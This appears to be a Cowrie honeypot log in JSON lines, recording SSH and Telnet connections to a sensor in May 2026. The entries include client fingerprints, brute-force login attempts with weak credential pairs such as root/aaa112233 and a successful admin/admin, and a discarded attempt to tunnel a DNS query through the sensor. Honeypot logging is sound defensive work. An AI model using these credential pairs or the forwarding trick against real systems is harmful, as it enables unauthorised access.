{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:01.869679Z","src_ip":"189.194.140.170","session":"62352cb1759f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myth","password":"myth","message":"login attempt [myth/myth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:02.290537Z","src_ip":"189.194.140.170","session":"62352cb1759f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:03.393017Z","src_ip":"189.194.140.170","session":"62352cb1759f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.128.94.66","src_port":37091,"dst_ip":"10.17.0.5","dst_port":23,"session":"187e8af434ee","protocol":"telnet","message":"New connection: 185.128.94.66:37091 (10.17.0.5:23) [session: 187e8af434ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:04.670469Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49128,"dst_ip":"159.203.135.109","dst_port":23,"session":"245f4d1e08cb","protocol":"telnet","message":"New connection: 142.93.2.99:49128 (159.203.135.109:23) [session: 245f4d1e08cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:09.471276Z"}
{"eventid":"cowrie.session.closed","duration":32.62069773674011,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:10.141634Z","src_ip":"142.93.2.99","session":"69be6ee08fc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54188,"dst_ip":"159.203.135.109","dst_port":23,"session":"52aa71bdeed1","protocol":"telnet","message":"New connection: 142.93.2.99:54188 (159.203.135.109:23) [session: 52aa71bdeed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:14.897586Z"}
{"eventid":"cowrie.session.closed","duration":13.788379430770874,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:18.458611Z","src_ip":"185.128.94.66","session":"187e8af434ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6460,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2eaa8be7bc6","protocol":"ssh","message":"New connection: 87.251.64.176:6460 (10.17.0.5:22) [session: a2eaa8be7bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:23.857514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:23.862567Z","src_ip":"87.251.64.176","session":"a2eaa8be7bc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:23.961789Z","src_ip":"87.251.64.176","session":"a2eaa8be7bc6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:24.249780Z","src_ip":"87.251.64.176","session":"a2eaa8be7bc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:24.349249Z","session":"a2eaa8be7bc6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:24.447072Z","src_ip":"87.251.64.176","session":"a2eaa8be7bc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:24.681692Z","src_ip":"87.251.64.176","session":"a2eaa8be7bc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34114,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c478bbc6621","protocol":"telnet","message":"New connection: 142.93.2.99:34114 (159.203.135.109:23) [session: 9c478bbc6621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:25.395225Z"}
{"eventid":"cowrie.session.closed","duration":46.08682942390442,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:29.693812Z","src_ip":"104.245.105.2","session":"e2daf7b6799d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.543476819992065,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:30.730613Z","src_ip":"142.93.2.99","session":"7dee93ec02ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39204,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c3b4c1b2a2c","protocol":"telnet","message":"New connection: 142.93.2.99:39204 (159.203.135.109:23) [session: 4c3b4c1b2a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:32.416659Z"}
{"eventid":"cowrie.session.closed","duration":31.202815532684326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:32.505427Z","src_ip":"104.245.105.2","session":"41fd5834f963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53392,"dst_ip":"10.17.0.5","dst_port":23,"session":"4199004911f8","protocol":"telnet","message":"New connection: 104.245.105.2:53392 (10.17.0.5:23) [session: 4199004911f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:38.223263Z"}
{"eventid":"cowrie.session.closed","duration":33.40257525444031,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:42.873736Z","src_ip":"142.93.2.99","session":"245f4d1e08cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49350,"dst_ip":"159.203.135.109","dst_port":23,"session":"531a57faac8e","protocol":"telnet","message":"New connection: 142.93.2.99:49350 (159.203.135.109:23) [session: 531a57faac8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:47.635386Z"}
{"eventid":"cowrie.session.closed","duration":33.65303444862366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:48.550464Z","src_ip":"142.93.2.99","session":"52aa71bdeed1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50410,"dst_ip":"159.203.135.109","dst_port":23,"session":"2272f32f9ccc","protocol":"telnet","message":"New connection: 142.93.2.99:50410 (159.203.135.109:23) [session: 2272f32f9ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:49.085642Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54112,"dst_ip":"159.203.135.109","dst_port":23,"session":"3decbab9c6a5","protocol":"telnet","message":"New connection: 142.93.2.99:54112 (159.203.135.109:23) [session: 3decbab9c6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:52.981719Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":47810,"dst_ip":"159.203.135.109","dst_port":22,"session":"04509fd56180","protocol":"ssh","message":"New connection: 189.194.140.170:47810 (159.203.135.109:22) [session: 04509fd56180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:54.498770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:54.503887Z","src_ip":"189.194.140.170","session":"04509fd56180","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:54.601861Z","src_ip":"189.194.140.170","session":"04509fd56180","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa112233","message":"login attempt [root/aaa112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:54.976026Z","src_ip":"189.194.140.170","session":"04509fd56180","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56382,"dst_ip":"159.203.135.109","dst_port":23,"session":"87fa79745d8b","protocol":"telnet","message":"New connection: 142.93.2.99:56382 (159.203.135.109:23) [session: 87fa79745d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:55.804843Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:56.075793Z","src_ip":"189.194.140.170","session":"04509fd56180","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.79582977294922,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:58.190941Z","src_ip":"142.93.2.99","session":"9c478bbc6621","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":57434,"dst_ip":"159.203.135.109","dst_port":22,"session":"adce058ba0c7","protocol":"ssh","message":"New connection: 186.233.118.22:57434 (159.203.135.109:22) [session: adce058ba0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:58.923228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:58.928389Z","src_ip":"186.233.118.22","session":"adce058ba0c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:59.047974Z","src_ip":"186.233.118.22","session":"adce058ba0c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456...","message":"login attempt [root/root123456...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:23:59.563361Z","src_ip":"186.233.118.22","session":"adce058ba0c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:00.687078Z","src_ip":"186.233.118.22","session":"adce058ba0c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.19420599937439,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:05.610754Z","src_ip":"142.93.2.99","session":"4c3b4c1b2a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55410,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d25c1d8ccc8","protocol":"telnet","message":"New connection: 104.245.105.2:55410 (10.17.0.5:23) [session: 6d25c1d8ccc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:07.985863Z"}
{"eventid":"cowrie.session.closed","duration":32.32223200798035,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:10.545398Z","src_ip":"104.245.105.2","session":"4199004911f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58580,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa9e4855cbcd","protocol":"ssh","message":"New connection: 2.57.122.238:58580 (159.203.135.109:22) [session: fa9e4855cbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:14.224355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:14.229068Z","src_ip":"2.57.122.238","session":"fa9e4855cbcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:14.327841Z","src_ip":"2.57.122.238","session":"fa9e4855cbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:14.626793Z","src_ip":"2.57.122.238","session":"fa9e4855cbcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:15.729029Z","src_ip":"2.57.122.238","session":"fa9e4855cbcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57834,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ecac1379b6","protocol":"telnet","message":"New connection: 104.245.105.2:57834 (10.17.0.5:23) [session: 36ecac1379b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:17.047804Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46952,"dst_ip":"159.203.135.109","dst_port":23,"session":"80292caa2b27","protocol":"telnet","message":"New connection: 142.93.2.99:46952 (159.203.135.109:23) [session: 80292caa2b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:17.711689Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57844,"dst_ip":"10.17.0.5","dst_port":23,"session":"3929f6f642a2","protocol":"telnet","message":"New connection: 104.245.105.2:57844 (10.17.0.5:23) [session: 3929f6f642a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:18.625206Z"}
{"eventid":"cowrie.session.closed","duration":32.015430212020874,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:19.650706Z","src_ip":"142.93.2.99","session":"531a57faac8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.178529024124146,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:21.264013Z","src_ip":"142.93.2.99","session":"2272f32f9ccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76178812980652,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:26.743382Z","src_ip":"142.93.2.99","session":"3decbab9c6a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.592201232910156,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:28.396945Z","src_ip":"142.93.2.99","session":"87fa79745d8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39032,"dst_ip":"159.203.135.109","dst_port":23,"session":"f08fbdbb2c8c","protocol":"telnet","message":"New connection: 142.93.2.99:39032 (159.203.135.109:23) [session: f08fbdbb2c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:37.864179Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43930,"dst_ip":"159.203.135.109","dst_port":23,"session":"a81ae0a1ac12","protocol":"telnet","message":"New connection: 142.93.2.99:43930 (159.203.135.109:23) [session: a81ae0a1ac12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:42.423212Z"}
{"eventid":"cowrie.session.closed","duration":37.48742604255676,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:45.473164Z","src_ip":"104.245.105.2","session":"6d25c1d8ccc8","protocol":"telnet"}
